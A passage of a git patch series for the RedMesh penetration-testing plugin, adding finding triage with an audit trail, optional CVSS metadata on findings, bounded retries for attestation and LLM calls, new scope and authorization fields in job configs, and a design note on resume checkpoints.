key=self.triage_key(job_id, finding_id), + value=None, + ) + return diff --git a/extensions/business/cybersec/red_mesh/services/__init__.py b/extensions/business/cybersec/red_mesh/services/__init__.py index aa9dfd10..969bab70 100644 --- a/extensions/business/cybersec/red_mesh/services/__init__.py +++ b/extensions/business/cybersec/red_mesh/services/__init__.py @@ -45,6 +45,11 @@ is_terminal_job_status, set_job_status, ) +from .triage import ( + get_job_archive_with_triage, + get_job_triage, + update_finding_triage, +) __all__ = [ "INTERMEDIATE_JOB_STATUSES", @@ -81,5 +86,8 @@ "set_job_status", "stop_and_delete_job", "stop_monitoring", + "get_job_archive_with_triage", + "get_job_triage", + "update_finding_triage", "validation_error", ] diff --git a/extensions/business/cybersec/red_mesh/services/control.py b/extensions/business/cybersec/red_mesh/services/control.py index bc268725..f0b7b836 100644 --- a/extensions/business/cybersec/red_mesh/services/control.py +++ b/extensions/business/cybersec/red_mesh/services/control.py @@ -173,6 +173,7 @@ def _track(cid, source): if key.startswith(prefix): _job_repo(owner).delete_live_progress(key) + _job_repo(owner).delete_job_triage(job_id) _delete_job_record(owner, job_id) owner.P(f"Purged job {job_id}: {deleted}/{len(cids)} CIDs deleted.") diff --git a/extensions/business/cybersec/red_mesh/services/query.py b/extensions/business/cybersec/red_mesh/services/query.py index 181efc89..22048701 100644 --- a/extensions/business/cybersec/red_mesh/services/query.py +++ b/extensions/business/cybersec/red_mesh/services/query.py @@ -1,5 +1,6 @@ from ..models import JobArchive from ..repositories import ArtifactRepository, JobStateRepository +from .triage import get_job_archive_with_triage def _job_repo(owner): @@ -53,35 +54,7 @@ def get_job_archive(owner, job_id: str): """ Retrieve the full archived job payload from R1FS for finalized jobs. """ - job_specs = owner._get_job_from_cstore(job_id) - if not job_specs: - return {"error": "not_found", "message": f"Job {job_id} not found."} - - job_cid = job_specs.get("job_cid") - if not job_cid: - return {"error": "not_available", "message": f"Job {job_id} is still running (no archive yet)."} - - try: - archive = _artifact_repo(owner).get_archive_model(job_specs) - if archive is None: - return {"error": "fetch_failed", "message": f"Failed to fetch archive from R1FS (CID: {job_cid})."} - archive = archive.to_dict() - except ValueError as exc: - return { - "error": "unsupported_archive_version", - "message": str(exc), - "job_id": job_id, - "job_cid": job_cid, - } - - if archive.get("job_id") != job_id: - owner.P( - f"[INTEGRITY] Archive CID {job_cid} has job_id={archive.get('job_id')}, expected {job_id}", - color='r' - ) - return {"error": "integrity_mismatch", "message": "Archive job_id does not match requested job_id."} - - return {"job_id": job_id, "archive": archive} + return get_job_archive_with_triage(owner, job_id) def get_job_progress(owner, job_id: str): diff --git a/extensions/business/cybersec/red_mesh/services/triage.py b/extensions/business/cybersec/red_mesh/services/triage.py new file mode 100644 index 00000000..cec0608d --- /dev/null +++ b/extensions/business/cybersec/red_mesh/services/triage.py @@ -0,0 +1,144 @@ +from copy import deepcopy + +from ..models import FindingTriageAuditEntry, FindingTriageState, VALID_TRIAGE_STATUSES +from ..repositories import ArtifactRepository, JobStateRepository + + +def _job_repo(owner): + getter = getattr(type(owner), "_get_job_state_repository", None) + if callable(getter): + return getter(owner) + return JobStateRepository(owner) + + +def _artifact_repo(owner): + getter = getattr(type(owner), "_get_artifact_repository", None) + if callable(getter): + return getter(owner) + return ArtifactRepository(owner) + + +def _archive_contains_finding(archive: dict, finding_id: str) -> bool: + for pass_report in archive.get("passes", []) or []: + for finding in pass_report.get("findings", []) or []: + if isinstance(finding, dict) and finding.get("finding_id") == finding_id: + return True + return False + + +def _merge_triage_into_archive_dict(archive: dict, triage_map: dict) -> dict: + merged = deepcopy(archive) + for pass_report in merged.get("passes", []) or []: + for finding in pass_report.get("findings", []) or []: + if not isinstance(finding, dict): + continue + triage = triage_map.get(finding.get("finding_id")) + if triage: + finding["triage"] = triage + ui = merged.get("ui_aggregate") + if isinstance(ui, dict): + for finding in ui.get("top_findings", []) or []: + if not isinstance(finding, dict): + continue + triage = triage_map.get(finding.get("finding_id")) + if triage: + finding["triage"] = triage + return merged + + +def get_job_triage(owner, job_id: str, finding_id: str = ""): + triage_map = _job_repo(owner).list_job_triage(job_id) + if finding_id: + state = triage_map.get(finding_id) + audit = _job_repo(owner).get_finding_triage_audit(job_id, finding_id) + if state is None: + return {"job_id": job_id, "finding_id": finding_id, "found": False, "triage": None, "audit": audit} + return {"job_id": job_id, "finding_id": finding_id, "found": True, "triage": state, "audit": audit} + return {"job_id": job_id, "triage": triage_map} + + +def update_finding_triage(owner, job_id: str, finding_id: str, status: str, note: str = "", actor: str = "", review_at: float = 0): + if status not in VALID_TRIAGE_STATUSES: + return { + "error": "validation_error", + "message": f"Unsupported triage status: {status}. Allowed: {sorted(VALID_TRIAGE_STATUSES)}", + } + + job_specs = owner._get_job_from_cstore(job_id) + if not job_specs: + return {"error": "not_found", "message": f"Job {job_id} not found."} + if not job_specs.get("job_cid"): + return {"error": "not_available", "message": f"Job {job_id} is still running (triage requires archived findings)."} + + archive = _artifact_repo(owner).get_archive(job_specs) + if not isinstance(archive, dict): + return {"error": "fetch_failed", "message": f"Failed to fetch archive for job {job_id}."} + if not _archive_contains_finding(archive, finding_id): + return {"error": "not_found", "message": f"Finding {finding_id} not found in archived job {job_id}."} + + triage_state = FindingTriageState( + job_id=job_id, + finding_id=finding_id, + status=status, + note=note or "", + actor=actor or "", + updated_at=owner.time(), + review_at=review_at or None, + ) + repo = _job_repo(owner) + state_payload = repo.put_finding_triage(triage_state) + audit_payload = repo.append_finding_triage_audit(FindingTriageAuditEntry( + job_id=job_id, + finding_id=finding_id, + status=status, + note=note or "", + actor=actor or "", + timestamp=owner.time(), + )) + if hasattr(owner, "_log_audit_event"): + owner._log_audit_event("finding_triage_updated", { + "job_id": job_id, + "finding_id": finding_id, + "status": status, + "actor": actor or "", + }) + return { + "job_id": job_id, + "finding_id": finding_id, + "triage": state_payload, + "audit": audit_payload, + } + + +def get_job_archive_with_triage(owner, job_id: str): + job_specs = owner._get_job_from_cstore(job_id) + if not job_specs: + return {"error": "not_found", "message": f"Job {job_id} not found."} + + job_cid = job_specs.get("job_cid") + if not job_cid: + return {"error": "not_available", "message": f"Job {job_id} is still running (no archive yet)."} + + try: + archive = _artifact_repo(owner).get_archive_model(job_specs) + if archive is None: + return {"error": "fetch_failed", "message": f"Failed to fetch archive from R1FS (CID: {job_cid})."} + archive = archive.to_dict() + except ValueError as exc: + return { + "error": "unsupported_archive_version", + "message": str(exc), + "job_id": job_id, + "job_cid": job_cid, + } + + if archive.get("job_id") != job_id: + owner.P( + f"[INTEGRITY] Archive CID {job_cid} has job_id={archive.get('job_id')}, expected {job_id}", + color='r' + ) + return {"error": "integrity_mismatch", "message": "Archive job_id does not match requested job_id."} + + triage_map = _job_repo(owner).list_job_triage(job_id) + merged_archive = _merge_triage_into_archive_dict(archive, triage_map) + return {"job_id": job_id, "archive": merged_archive, "triage": triage_map} diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index f6e6abd3..6c6fe47a 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -1875,7 +1875,7 @@ def test_get_job_archive_finalized(self): archive_data = { "archive_version": JOB_ARCHIVE_VERSION, "job_id": "fin-job", - "passes": [], + "passes": [{"findings": [{"finding_id": "f-1", "title": "Issue"}]}], "ui_aggregate": {}, "job_config": {}, "timeline": [], @@ -1884,11 +1884,16 @@ def test_get_job_archive_finalized(self): "date_completed": 0, } plugin.r1fs.get_json.return_value = archive_data + plugin.chainstore_hgetall.side_effect = [ + {"fin-job": stub}, + {"fin-job:f-1": {"job_id": "fin-job", "finding_id": "f-1", "status": "accepted_risk", "note": "documented"}}, + ] result = Plugin.get_job_archive(plugin, job_id="fin-job") self.assertEqual(result["job_id"], "fin-job") self.assertEqual(result["archive"]["job_id"], "fin-job") self.assertEqual(result["archive"]["archive_version"], JOB_ARCHIVE_VERSION) + self.assertEqual(result["archive"]["passes"][0]["findings"][0]["triage"]["status"], "accepted_risk") def test_get_job_archive_running(self): """get_job_archive for running job returns not_available error.""" @@ -2180,6 +2185,84 @@ def test_get_job_archive_r1fs_failure(self): result = Plugin.get_job_archive(plugin, job_id="fin-job") self.assertEqual(result["error"], "fetch_failed") + def test_update_finding_triage_persists_mutable_state(self): + """Analyst triage updates stay outside archive storage and append audit history.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + plugin.r1fs.get_json.return_value = { + "archive_version": JOB_ARCHIVE_VERSION, + "job_id": "fin-job", + "passes": [{"findings": [{"finding_id": "f-1", "title": "Issue"}]}], + "ui_aggregate": {}, + "job_config": {}, + "timeline": [], + "duration": 0, + "date_created": 0, + "date_completed": 0, + } + plugin.time.return_value = 123.0 + plugin._log_audit_event = MagicMock() + triage_store = {} + triage_audit_store = {} + + def _chainstore_hget(hkey, key): + if hkey.endswith(":triage"): + return triage_store.get(key) + if hkey.endswith(":triage:audit"): + return triage_audit_store.get(key) + return {"fin-job": stub}.get(key) + + def _chainstore_hgetall(hkey): + if hkey.endswith(":triage"): + return dict(triage_store) + if hkey.endswith(":triage:audit"): + return dict(triage_audit_store) + return {"fin-job": stub} + + def _chainstore_hset(hkey, key, value): + if hkey.endswith(":triage"): + triage_store[key] = value + elif hkey.endswith(":triage:audit"): + triage_audit_store[key] = value + + plugin.chainstore_hget.side_effect = _chainstore_hget + plugin.chainstore_hgetall.side_effect = _chainstore_hgetall + plugin.chainstore_hset.side_effect = _chainstore_hset + + result = Plugin.update_finding_triage( + plugin, + job_id="fin-job", + finding_id="f-1", + status="accepted_risk", + note="Approved by analyst", + actor="alice", + review_at=456.0, + ) + + self.assertEqual(result["triage"]["status"], "accepted_risk") + self.assertEqual(result["audit"][-1]["actor"], "alice") + self.assertEqual(triage_store["fin-job:f-1"]["review_at"], 456.0) + plugin._log_audit_event.assert_called_once() + + def test_get_job_triage_not_found(self): + """Triage query returns found=False when no mutable state exists yet.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + plugin.chainstore_hgetall.side_effect = [ + {"fin-job": stub}, + {}, + ] + plugin.chainstore_hget.side_effect = [ + [], + ] + + result = Plugin.get_job_triage(plugin, job_id="fin-job", finding_id="missing") + + self.assertFalse(result["found"]) + self.assertEqual(result["audit"], []) + class TestPhase2AuditCounting(unittest.TestCase): """Phase 2: audit counts include graybox findings.""" diff --git a/extensions/business/cybersec/red_mesh/tests/test_integration.py b/extensions/business/cybersec/red_mesh/tests/test_integration.py index fc2b3bd5..bf6a1ae9 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_integration.py +++ b/extensions/business/cybersec/red_mesh/tests/test_integration.py @@ -338,7 +338,11 @@ def test_purge_finalized_collects_all_cids(self): } plugin.r1fs.get_json.return_value = archive plugin.r1fs.delete_file.return_value = True - plugin.chainstore_hgetall.return_value = {} + plugin.chainstore_hgetall.side_effect = [ + {}, + {"job-1:f-1": {"job_id": "job-1", "finding_id": "f-1", "status": "accepted_risk"}}, + {"job-1:f-1": [{"job_id": "job-1", "finding_id": "f-1", "status": "accepted_risk", "timestamp": 1.0}]}, + ] # Normalize returns the specs as-is plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) @@ -351,6 +355,18 @@ def test_purge_finalized_collects_all_cids(self): self.assertEqual(deleted_cids, {"cid-archive", "cid-config", "cid-agg-1", "cid-wr-A", "cid-wr-B"}) self.assertEqual(result["cids_deleted"], 5) self.assertEqual(result["cids_total"], 5) + triage_deletes = { + (c.kwargs["hkey"], c.kwargs["key"]) + for c in plugin.chainstore_hset.call_args_list + if c.kwargs.get("value") is None and c.kwargs.get("hkey", "").endswith(":triage") + } + self.assertEqual(triage_deletes, {("test-instance:triage", "job-1:f-1")}) + triage_audit_deletes = { + (c.kwargs["hkey"], c.kwargs["key"]) + for c in plugin.chainstore_hset.call_args_list + if c.kwargs.get("value") is None and c.kwargs.get("hkey", "").endswith(":triage:audit") + } + self.assertEqual(triage_audit_deletes, {("test-instance:triage:audit", "job-1:f-1")}) def test_purge_finalized_no_pass_report_cids(self): """Finalized purge does NOT try to delete individual pass report CIDs (they are inside archive).""" @@ -366,7 +382,11 @@ def test_purge_finalized_no_pass_report_cids(self): plugin.chainstore_hget.return_value = job_specs plugin.r1fs.get_json.return_value = {"passes": []} plugin.r1fs.delete_file.return_value = True - plugin.chainstore_hgetall.return_value = {} + plugin.chainstore_hgetall.side_effect = [ + {}, + {"job-1:f-1": {"job_id": "job-1", "finding_id": "f-1", "status": "accepted_risk"}}, + {"job-1:f-1": [{"job_id": "job-1", "finding_id": "f-1", "status": "accepted_risk", "timestamp": 1.0}]}, + ] plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) result = Plugin.purge_job(plugin, "job-1") diff --git a/extensions/business/cybersec/red_mesh/tests/test_repositories.py b/extensions/business/cybersec/red_mesh/tests/test_repositories.py index c7a04e84..94d2b014 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_repositories.py +++ b/extensions/business/cybersec/red_mesh/tests/test_repositories.py @@ -108,6 +108,26 @@ def test_job_state_repository_put_job_coerces_running_job_shape(self): self.assertEqual(payload["scan_type"], "webapp") self.assertEqual(payload["target_url"], "https://example.com/app") + def test_job_state_repository_supports_finding_triage(self): + owner = self._make_owner() + owner.chainstore_hget.side_effect = [ + {"job_id": "job-1", "finding_id": "f-1", "status": "accepted_risk", "note": "known issue"}, + [{"job_id": "job-1", "finding_id": "f-1", "status": "accepted_risk", "timestamp": 10.0}], + ] + owner.chainstore_hgetall.side_effect = [ + {"job-1:f-1": {"job_id": "job-1", "finding_id": "f-1", "status": "accepted_risk"}}, + {"job-1:f-1": [{"job_id": "job-1", "finding_id": "f-1", "status": "accepted_risk", "timestamp": 10.0}]}, + ] + repo = JobStateRepository(owner) + + triage = repo.get_finding_triage_model("job-1", "f-1") + audit = repo.get_finding_triage_audit("job-1", "f-1") + repo.delete_job_triage("job-1") + + self.assertEqual(triage.status, "accepted_risk") + self.assertEqual(audit[0]["finding_id"], "f-1") + self.assertEqual(owner.chainstore_hset.call_count, 2) + class TestArtifactRepository(unittest.TestCase): From 661f08bfd99b1ab73517450a5a764250f0279663 Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 13 Mar 2026 16:39:28 +0000 Subject: [PATCH 087/114] feat: add redmesh cvss finding metadata --- .../business/cybersec/red_mesh/findings.py | 2 ++ .../cybersec/red_mesh/graybox/findings.py | 4 +++ .../red_mesh/tests/test_graybox_finding.py | 12 +++++++ .../red_mesh/tests/test_jobconfig_webapp.py | 36 ++++++++++++++++--- .../red_mesh/tests/test_normalization.py | 17 +++++++++ 5 files changed, 67 insertions(+), 4 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/findings.py b/extensions/business/cybersec/red_mesh/findings.py index 17b08ef8..ea1a7a83 100644 --- a/extensions/business/cybersec/red_mesh/findings.py +++ b/extensions/business/cybersec/red_mesh/findings.py @@ -32,6 +32,8 @@ class Finding: owasp_id: str = "" # e.g. "A07:2021" cwe_id: str = "" # e.g. "CWE-287" confidence: str = "firm" # certain | firm | tentative + cvss_score: float | None = None + cvss_vector: str = "" def probe_result(*, raw_data: dict = None, findings: list = None) -> dict: diff --git a/extensions/business/cybersec/red_mesh/graybox/findings.py b/extensions/business/cybersec/red_mesh/graybox/findings.py index 21f24c37..f022f786 100644 --- a/extensions/business/cybersec/red_mesh/graybox/findings.py +++ b/extensions/business/cybersec/red_mesh/graybox/findings.py @@ -66,6 +66,8 @@ class GrayboxFinding: replay_steps: list[str] = field(default_factory=list) # reproducibility steps remediation: str = "" error: str | None = None # non-None if probe had an error + cvss_score: float | None = None + cvss_vector: str = "" @classmethod def from_dict(cls, payload: dict[str, Any]) -> "GrayboxFinding": @@ -148,6 +150,8 @@ def to_flat_finding(self, port: int, protocol: str, probe_name: str) -> dict: "status": self.status, "replay_steps": list(self.replay_steps), "attack_ids": list(self.attack), + "cvss_score": self.cvss_score, + "cvss_vector": self.cvss_vector, } @classmethod diff --git a/extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py b/extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py index 13fa3968..a457e58f 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py +++ b/extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py @@ -171,6 +171,18 @@ def test_flat_from_dict_preserves_typed_evidence_artifacts(self): self.assertEqual(flat["evidence"], "GET /admin -> 403") self.assertEqual(flat["evidence_artifacts"][0]["raw_evidence_cid"], "Qm1") + def test_cvss_metadata_survives_flattening(self): + """Optional CVSS metadata survives typed graybox normalization.""" + f = self._make_finding( + cvss_score=8.8, + cvss_vector="CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", + ) + + flat = f.to_flat_finding(port=443, protocol="https", probe_name="access_control") + + self.assertEqual(flat["cvss_score"], 8.8) + self.assertEqual(flat["cvss_vector"], "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H") + def test_frozen(self): """Finding is immutable.""" f = self._make_finding() diff --git a/extensions/business/cybersec/red_mesh/tests/test_jobconfig_webapp.py b/extensions/business/cybersec/red_mesh/tests/test_jobconfig_webapp.py index 6fa2401a..fcdacff5 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_jobconfig_webapp.py +++ b/extensions/business/cybersec/red_mesh/tests/test_jobconfig_webapp.py @@ -192,13 +192,27 @@ def test_scenario_fields_roundtrip(self): class TestFindingUnchanged(unittest.TestCase): - """Verify blackbox Finding dataclass is not modified.""" + """Verify blackbox Finding stays backward-compatible.""" - def test_finding_has_8_fields(self): - """Finding has exactly 8 fields — no new fields added.""" + def test_finding_has_expected_fields(self): + """Finding keeps legacy fields and adds optional CVSS metadata only.""" import dataclasses fields = dataclasses.fields(Finding) - self.assertEqual(len(fields), 8, f"Expected 8 fields, got {len(fields)}: {[f.name for f in fields]}") + self.assertEqual( + [f.name for f in fields], + [ + "severity", + "title", + "description", + "evidence", + "remediation", + "owasp_id", + "cwe_id", + "confidence", + "cvss_score", + "cvss_vector", + ], + ) def test_finding_no_probe_type(self): """Finding does not have a probe_type attribute.""" @@ -218,10 +232,24 @@ def test_existing_construction_unchanged(self): cwe_id="CWE-89", confidence="certain", ) + self.assertIsNone(f.cvss_score) + self.assertEqual(f.cvss_vector, "") self.assertEqual(f.severity, Severity.CRITICAL) self.assertEqual(f.title, "SQL Injection") self.assertEqual(f.confidence, "certain") + def test_optional_cvss_metadata_supported(self): + """Finding supports optional CVSS metadata without affecting legacy fields.""" + f = Finding( + severity=Severity.HIGH, + title="Broken Access Control", + description="Privilege escalation path found", + cvss_score=8.8, + cvss_vector="CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", + ) + self.assertEqual(f.cvss_score, 8.8) + self.assertEqual(f.cvss_vector, "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H") + if __name__ == '__main__': unittest.main() diff --git a/extensions/business/cybersec/red_mesh/tests/test_normalization.py b/extensions/business/cybersec/red_mesh/tests/test_normalization.py index a678c54c..def0abb9 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_normalization.py +++ b/extensions/business/cybersec/red_mesh/tests/test_normalization.py @@ -139,6 +139,23 @@ def test_typed_evidence_artifacts_survive_normalization(self): self.assertEqual(flat_findings[0]["evidence"], "GET /admin -> 403") self.assertEqual(flat_findings[0]["evidence_artifacts"][0]["raw_evidence_cid"], "QmEvidence") + def test_graybox_cvss_metadata_survives_normalization(self): + """Graybox CVSS metadata survives flat finding normalization.""" + finding = GrayboxFinding( + scenario_id="PT-A01-01", + title="Typed CVSS", + status="vulnerable", + severity="HIGH", + owasp="A01:2021", + cvss_score=9.1, + cvss_vector="CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", + ) + report = _make_graybox_report([finding.to_dict()]) + host = _make_mixin() + _, flat_findings = host._compute_risk_and_findings(report) + self.assertEqual(flat_findings[0]["cvss_score"], 9.1) + self.assertEqual(flat_findings[0]["cvss_vector"], "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L") + def test_cwe_joined(self): """List CWEs joined with ', '.""" finding = GrayboxFinding( From a2a4e2ca3414be358ad18f04bc47bcfa0aa9cf55 Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 13 Mar 2026 16:57:10 +0000 Subject: [PATCH 088/114] feat: harden redmesh resilience and launch policy --- .../docs/resume-checkpoint-boundary.md | 34 ++ .../cybersec/red_mesh/mixins/attestation.py | 99 +++--- .../cybersec/red_mesh/mixins/llm_agent.py | 22 +- .../cybersec/red_mesh/models/archive.py | 12 + .../cybersec/red_mesh/pentester_api_01.py | 65 +++- .../cybersec/red_mesh/services/launch_api.py | 309 +++++++++++++++++- .../cybersec/red_mesh/services/query.py | 57 +++- .../cybersec/red_mesh/services/resilience.py | 52 +++ .../cybersec/red_mesh/tests/test_api.py | 163 +++++++++ .../cybersec/red_mesh/tests/test_hardening.py | 78 +++++ 10 files changed, 840 insertions(+), 51 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/docs/resume-checkpoint-boundary.md create mode 100644 extensions/business/cybersec/red_mesh/services/resilience.py diff --git a/extensions/business/cybersec/red_mesh/docs/resume-checkpoint-boundary.md b/extensions/business/cybersec/red_mesh/docs/resume-checkpoint-boundary.md new file mode 100644 index 00000000..ff68b84e --- /dev/null +++ b/extensions/business/cybersec/red_mesh/docs/resume-checkpoint-boundary.md @@ -0,0 +1,34 @@ +# RedMesh Resume and Checkpoint Boundary + +This document records the Phase 6 checkpoint boundary without implementing resumable execution yet. + +## Safe to Resume + +- Archive read queries can be retried because they are immutable reads. +- Archive verification after write can be retried because it does not mutate job state. +- LLM analysis calls can be retried because the pass report is updated only after a successful response. +- Attestation submission can be retried before the attestation result is persisted into job state. + +## Restart From Scratch + +- Active worker execution inside a pass must restart from the beginning of the pass. +- Graybox authenticated probe execution must restart from a fresh authentication flow. +- Partial pass aggregation must restart from collected worker reports rather than replaying mid-pass state. + +## Checkpoint Candidates + +- Immutable `job_config_cid` +- Completed `pass_reports` +- Finalized `job_cid` +- Mutable `job_revision` +- Triage state and triage audit + +## Explicit Non-Goals + +- No mid-pass resume token +- No worker-side checkpoint serialization +- No replay of partially completed graybox sessions + +## Design Rule + +RedMesh may resume only from durable, integrity-checked boundaries that are already represented as immutable artifacts or explicit mutable orchestration records. Any state that depends on live sockets, authenticated sessions, or partial aggregation must restart. diff --git a/extensions/business/cybersec/red_mesh/mixins/attestation.py b/extensions/business/cybersec/red_mesh/mixins/attestation.py index 2e5f42a0..96738292 100644 --- a/extensions/business/cybersec/red_mesh/mixins/attestation.py +++ b/extensions/business/cybersec/red_mesh/mixins/attestation.py @@ -9,6 +9,7 @@ from urllib.parse import urlparse from ..constants import RUN_MODE_SINGLEPASS, RUN_MODE_CONTINUOUS_MONITORING +from ..services.resilience import run_bounded_retry class _AttestationMixin: @@ -162,28 +163,37 @@ def _submit_redmesh_test_attestation( f"nodes={node_count}, score={vulnerability_score}, target={ip_obfuscated}, " f"cid={cid_obfuscated}, sender={node_eth_address}" ) - tx_hash = self.bc.submit_attestation( - function_name="submitRedmeshTestAttestation", - function_args=[ - test_mode, - node_count, - vulnerability_score, - execution_id, - ip_obfuscated, - cid_obfuscated, - ], - signature_types=["bytes32", "uint8", "uint16", "uint8", "bytes8", "bytes2", "bytes10"], - signature_values=[ - self.REDMESH_ATTESTATION_DOMAIN, - test_mode, - node_count, - vulnerability_score, - execution_id, - ip_obfuscated, - cid_obfuscated, - ], - tx_private_key=tenant_private_key, + retries = max(int(getattr(self, "cfg_attestation_retries", 1) or 1), 1) + tx_hash = run_bounded_retry( + self, + "submit_redmesh_test_attestation", + retries, + lambda: self.bc.submit_attestation( + function_name="submitRedmeshTestAttestation", + function_args=[ + test_mode, + node_count, + vulnerability_score, + execution_id, + ip_obfuscated, + cid_obfuscated, + ], + signature_types=["bytes32", "uint8", "uint16", "uint8", "bytes8", "bytes2", "bytes10"], + signature_values=[ + self.REDMESH_ATTESTATION_DOMAIN, + test_mode, + node_count, + vulnerability_score, + execution_id, + ip_obfuscated, + cid_obfuscated, + ], + tx_private_key=tenant_private_key, + ), ) + if not tx_hash: + self.P(f"[ATTESTATION] Test attestation failed after {retries} attempts.", color='y') + return None # Obfuscate node IPs for attestation metadata obfuscated_node_ips = [] @@ -238,26 +248,35 @@ def _submit_redmesh_job_start_attestation(self, job_id: str, job_specs: dict, wo f"nodes={node_count}, target={ip_obfuscated}, node_hashes={node_hashes}, " f"workers={worker_addrs}, sender={node_eth_address}" ) - tx_hash = self.bc.submit_attestation( - function_name="submitRedmeshJobStartAttestation", - function_args=[ - test_mode, - node_count, - execution_id, - node_hashes, - ip_obfuscated, - ], - signature_types=["bytes32", "uint8", "uint16", "bytes8", "bytes32", "bytes2"], - signature_values=[ - self.REDMESH_ATTESTATION_DOMAIN, - test_mode, - node_count, - execution_id, - node_hashes, - ip_obfuscated, - ], - tx_private_key=tenant_private_key, + retries = max(int(getattr(self, "cfg_attestation_retries", 1) or 1), 1) + tx_hash = run_bounded_retry( + self, + "submit_redmesh_job_start_attestation", + retries, + lambda: self.bc.submit_attestation( + function_name="submitRedmeshJobStartAttestation", + function_args=[ + test_mode, + node_count, + execution_id, + node_hashes, + ip_obfuscated, + ], + signature_types=["bytes32", "uint8", "uint16", "bytes8", "bytes32", "bytes2"], + signature_values=[ + self.REDMESH_ATTESTATION_DOMAIN, + test_mode, + node_count, + execution_id, + node_hashes, + ip_obfuscated, + ], + tx_private_key=tenant_private_key, + ), ) + if not tx_hash: + self.P(f"[ATTESTATION] Job-start attestation failed after {retries} attempts.", color='y') + return None result = { "job_id": job_id, diff --git a/extensions/business/cybersec/red_mesh/mixins/llm_agent.py b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py index 1d337981..5c4f8bc0 100644 --- a/extensions/business/cybersec/red_mesh/mixins/llm_agent.py +++ b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py @@ -13,6 +13,7 @@ class PentesterApi01Plugin(_LlmAgentMixin, BasePlugin): from typing import Optional from ..constants import RUN_MODE_SINGLEPASS +from ..services.resilience import run_bounded_retry class _RedMeshLlmAgentMixin(object): @@ -115,8 +116,9 @@ def _call_llm_agent_api( url = self._get_llm_agent_api_url(endpoint) timeout = timeout or self.cfg_llm_agent_api_timeout + retries = max(int(getattr(self, "cfg_llm_api_retries", 1) or 1), 1) - try: + def _attempt(): self.Pd(f"Calling LLM Agent API: {method} {url}") if method.upper() == "GET": @@ -142,16 +144,32 @@ def _call_llm_agent_api( return response_data["result"] return response_data + def _is_success(response_data): + return isinstance(response_data, dict) and "error" not in response_data + + try: + result = run_bounded_retry(self, "llm_agent_api", retries, _attempt, is_success=_is_success) except requests.exceptions.ConnectionError: self.P(f"LLM Agent API not reachable at {url}", color='y') return {"error": "LLM Agent API not reachable", "status": "connection_error"} except requests.exceptions.Timeout: - self.P(f"LLM Agent API request timed out", color='y') + self.P("LLM Agent API request timed out", color='y') return {"error": "LLM Agent API request timed out", "status": "timeout"} except Exception as e: self.P(f"Error calling LLM Agent API: {e}", color='r') return {"error": str(e), "status": "error"} + if isinstance(result, dict) and "error" in result: + status = result.get("status") + if status == "connection_error": + self.P(f"LLM Agent API not reachable at {url}", color='y') + elif status == "timeout": + self.P("LLM Agent API request timed out", color='y') + else: + self.P(f"LLM Agent API call failed: {result.get('error')}", color='y') + return result + return result + def _auto_analyze_report( self, job_id: str, report: dict, target: str, scan_type: str = "network", ) -> Optional[dict]: diff --git a/extensions/business/cybersec/red_mesh/models/archive.py b/extensions/business/cybersec/red_mesh/models/archive.py index 960a800f..2df1196c 100644 --- a/extensions/business/cybersec/red_mesh/models/archive.py +++ b/extensions/business/cybersec/red_mesh/models/archive.py @@ -48,6 +48,12 @@ class JobConfig: created_by_name: str = "" created_by_id: str = "" authorized: bool = False + target_confirmation: str = "" + scope_id: str = "" + authorization_ref: str = "" + engagement_metadata: dict = None + target_allowlist: list = None + safety_policy: dict = None # ── graybox fields ── scan_type: str = "network" # "network" | "webapp" target_url: str = "" # required when scan_type == "webapp" @@ -94,6 +100,12 @@ def from_dict(cls, d: dict) -> JobConfig: created_by_name=d.get("created_by_name", ""), created_by_id=d.get("created_by_id", ""), authorized=d.get("authorized", False), + target_confirmation=d.get("target_confirmation", ""), + scope_id=d.get("scope_id", ""), + authorization_ref=d.get("authorization_ref", ""), + engagement_metadata=d.get("engagement_metadata"), + target_allowlist=d.get("target_allowlist"), + safety_policy=d.get("safety_policy"), scan_type=d.get("scan_type", "network"), target_url=d.get("target_url", ""), secret_ref=d.get("secret_ref", ""), diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 1cdf972a..e8fd2257 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -148,6 +148,14 @@ "MONITOR_INTERVAL": 60, # seconds between passes in continuous mode "MONITOR_JITTER": 5, # random jitter to avoid simultaneous CStore writes "PROGRESS_PUBLISH_INTERVAL": 30, # seconds between live progress writes to CStore + "ARCHIVE_VERIFY_RETRIES": 3, + "LLM_API_RETRIES": 2, + "ATTESTATION_RETRIES": 2, + "NETWORK_CONCURRENCY_WARNING_THRESHOLD": 16, + "GRAYBOX_AUTH_ATTEMPT_BUDGET": 10, + "GRAYBOX_ROUTE_DISCOVERY_BUDGET": 100, + 